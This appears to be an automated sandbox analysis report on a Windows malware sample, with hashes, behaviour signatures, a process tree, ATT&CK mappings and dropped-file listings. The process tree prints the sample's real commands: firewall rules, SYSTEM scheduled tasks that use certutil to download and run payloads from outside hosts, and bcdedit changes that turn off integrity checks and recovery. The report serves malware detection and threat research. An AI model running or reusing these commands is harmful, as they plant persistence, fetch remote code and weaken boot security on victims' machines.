Analysis

  • max time kernel
    126s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09-11-2020 19:53

General

  • Target

    SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe

  • Size

    3.8MB

  • MD5

    f4ea83c7492a309a20f7e53a35d66d9a

  • SHA1

    5c4d300a6af9157128ab2419eb3b232bcdfe0a02

  • SHA256

    cb1ffa5cd81d50702ee7296cd788a66fa8d5aa422e5cb4cdaca5a2ea4322141f

  • SHA512

    46cbfe80d2ca10fe6cea1eff9fc9e44128a73a508c5aed6019b578c2363d363a1b1f62b422ec2f4cdf279dc0dbdc9758f6ef46d0d4d4ab63702a4a5a4664e9b6

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • Windows security bypass 2 TTPs
  • Modifies boot configuration data using bcdedit 17 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 6 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 4 IoCs
  • Windows security modification 2 TTPs 13 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 327 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of WriteProcessMemory 68 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4052
    • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe
      "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe"
      2⤵
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2828
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\5fa8ce6719fa\5fa8ce6719fa\5fa8ce6719fa.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1892
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\5fa8ce6719fa\5fa8ce6719fa\5fa8ce6719fa.exe" enable=yes
          4⤵
          • Modifies data under HKEY_USERS
          PID:3660
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3172
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies data under HKEY_USERS
          PID:3928
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3848
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:196
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1648
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:3744
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3524
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1304
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2196
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1320
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3660
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1712
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3828
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3132
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3836
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3824
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:648
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1908
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2760
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2724
        • C:\Windows\System32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3964
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          PID:200
        • C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\app.exe -update
          4⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2408
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe -cleanup C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
            5⤵
            • Executes dropped EXE
            • Windows security modification
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1172
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
              6⤵
              • Creates scheduled task(s)
              PID:2652
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
              6⤵
              • Creates scheduled task(s)
              PID:728
            • C:\Windows\System32\bcdedit.exe
              C:\Windows\Sysnative\bcdedit.exe /delete {71a3c7fc-f751-4982-aec1-e958357e6813}
              6⤵
              • Modifies boot configuration data using bcdedit
              PID:4008
            • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
              "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
              6⤵
              • Executes dropped EXE
              PID:1336
            • C:\Windows\System32\bcdedit.exe
              C:\Windows\Sysnative\bcdedit.exe /v
              6⤵
              • Modifies boot configuration data using bcdedit
              PID:2012
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s seclogon
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2884

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scheduled Task

1
T1053

Persistence

Modify Existing Service

1
T1031

Registry Run Keys / Startup Folder

1
T1060

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Disabling Security Tools

2
T1089

Modify Registry

3
T1112

Discovery

Query Registry

1
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
    MD5

    79ffeeca6833d46d014a0dcec181cbe2

    SHA1

    a0985c9bb105e6190c13ab5cd3dff5e88a4cd957

    SHA256

    54ce78b5673fa4faf0bb9a587a428b401635ebdf9614bf6d7d40461bbfdf6577

    SHA512

    38dae559d0fd1b64f3e0f04e7f23b8fe60ddaeb5cdb5aba393f33743215e8eae984f04c991888ae55d858ad2793feb8f0bc03c4bb3eb6b9956747afbc64cc351

  • C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
    MD5

    79ffeeca6833d46d014a0dcec181cbe2

    SHA1

    a0985c9bb105e6190c13ab5cd3dff5e88a4cd957

    SHA256

    54ce78b5673fa4faf0bb9a587a428b401635ebdf9614bf6d7d40461bbfdf6577

    SHA512

    38dae559d0fd1b64f3e0f04e7f23b8fe60ddaeb5cdb5aba393f33743215e8eae984f04c991888ae55d858ad2793feb8f0bc03c4bb3eb6b9956747afbc64cc351

  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Users\Admin\AppData\Local\Temp\dbghelp.dll
    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • C:\Windows\rss\csrss.exe
    MD5

    f4ea83c7492a309a20f7e53a35d66d9a

    SHA1

    5c4d300a6af9157128ab2419eb3b232bcdfe0a02

    SHA256

    cb1ffa5cd81d50702ee7296cd788a66fa8d5aa422e5cb4cdaca5a2ea4322141f

    SHA512

    46cbfe80d2ca10fe6cea1eff9fc9e44128a73a508c5aed6019b578c2363d363a1b1f62b422ec2f4cdf279dc0dbdc9758f6ef46d0d4d4ab63702a4a5a4664e9b6

  • C:\Windows\rss\csrss.exe
    MD5

    f4ea83c7492a309a20f7e53a35d66d9a

    SHA1

    5c4d300a6af9157128ab2419eb3b232bcdfe0a02

    SHA256

    cb1ffa5cd81d50702ee7296cd788a66fa8d5aa422e5cb4cdaca5a2ea4322141f

    SHA512

    46cbfe80d2ca10fe6cea1eff9fc9e44128a73a508c5aed6019b578c2363d363a1b1f62b422ec2f4cdf279dc0dbdc9758f6ef46d0d4d4ab63702a4a5a4664e9b6

  • C:\Windows\rss\csrss.exe
    MD5

    79ffeeca6833d46d014a0dcec181cbe2

    SHA1

    a0985c9bb105e6190c13ab5cd3dff5e88a4cd957

    SHA256

    54ce78b5673fa4faf0bb9a587a428b401635ebdf9614bf6d7d40461bbfdf6577

    SHA512

    38dae559d0fd1b64f3e0f04e7f23b8fe60ddaeb5cdb5aba393f33743215e8eae984f04c991888ae55d858ad2793feb8f0bc03c4bb3eb6b9956747afbc64cc351

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll
    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
    MD5

    335ee604bc5976ee83b38f3dddfed723

    SHA1

    2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

    SHA256

    8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

    SHA512

    87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

  • \Users\Admin\AppData\Local\Temp\osloader.exe
    MD5

    78c581e475d59efdebee2d3f4355f03f

    SHA1

    fda6c1f77f772afaa1b44a44c1fb29ee07434d10

    SHA256

    9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

    SHA512

    35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

  • \Users\Admin\AppData\Local\Temp\symsrv.dll
    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • memory/196-19-0x0000000000000000-mapping.dmp
  • memory/200-42-0x0000000000000000-mapping.dmp
  • memory/648-37-0x0000000000000000-mapping.dmp
  • memory/728-58-0x0000000000000000-mapping.dmp
  • memory/1172-51-0x0000000000000000-mapping.dmp
  • memory/1172-54-0x00000000057B0000-0x00000000057B1000-memory.dmp
    Filesize

    4KB

  • memory/1172-55-0x0000000000400000-0x0000000000B16000-memory.dmp
    Filesize

    7.1MB

  • memory/1304-28-0x0000000000000000-mapping.dmp
  • memory/1320-30-0x0000000000000000-mapping.dmp
  • memory/1336-60-0x0000000000000000-mapping.dmp
  • memory/1648-20-0x0000000000000000-mapping.dmp
  • memory/1712-32-0x0000000000000000-mapping.dmp
  • memory/1892-9-0x0000000000000000-mapping.dmp
  • memory/1908-38-0x0000000000000000-mapping.dmp
  • memory/2012-63-0x0000000000000000-mapping.dmp
  • memory/2196-29-0x0000000000000000-mapping.dmp
  • memory/2408-45-0x0000000000000000-mapping.dmp
  • memory/2408-49-0x00000000053B0000-0x00000000053B1000-memory.dmp
    Filesize

    4KB

  • memory/2408-50-0x0000000000400000-0x0000000000B16000-memory.dmp
    Filesize

    7.1MB

  • memory/2652-57-0x0000000000000000-mapping.dmp
  • memory/2724-40-0x0000000000000000-mapping.dmp
  • memory/2760-39-0x0000000000000000-mapping.dmp
  • memory/2828-8-0x0000000000400000-0x0000000000B10000-memory.dmp
    Filesize

    7.1MB

  • memory/2828-5-0x0000000000000000-mapping.dmp
  • memory/2828-7-0x0000000001580000-0x0000000001581000-memory.dmp
    Filesize

    4KB

  • memory/3132-34-0x0000000000000000-mapping.dmp
  • memory/3172-11-0x0000000000000000-mapping.dmp
  • memory/3524-27-0x0000000000000000-mapping.dmp
  • memory/3660-31-0x0000000000000000-mapping.dmp
  • memory/3660-10-0x0000000000000000-mapping.dmp
  • memory/3744-21-0x0000000000000000-mapping.dmp
  • memory/3824-36-0x0000000000000000-mapping.dmp
  • memory/3828-33-0x0000000000000000-mapping.dmp
  • memory/3836-35-0x0000000000000000-mapping.dmp
  • memory/3848-13-0x0000000000000000-mapping.dmp
  • memory/3848-17-0x0000000001AB0000-0x0000000001AB1000-memory.dmp
    Filesize

    4KB

  • memory/3928-12-0x0000000000000000-mapping.dmp
  • memory/3964-41-0x0000000000000000-mapping.dmp
  • memory/4008-59-0x0000000000000000-mapping.dmp
  • memory/4052-1-0x00000000016D0000-0x00000000016D1000-memory.dmp
    Filesize

    4KB

  • memory/4052-2-0x0000000000400000-0x0000000000B10000-memory.dmp
    Filesize

    7.1MB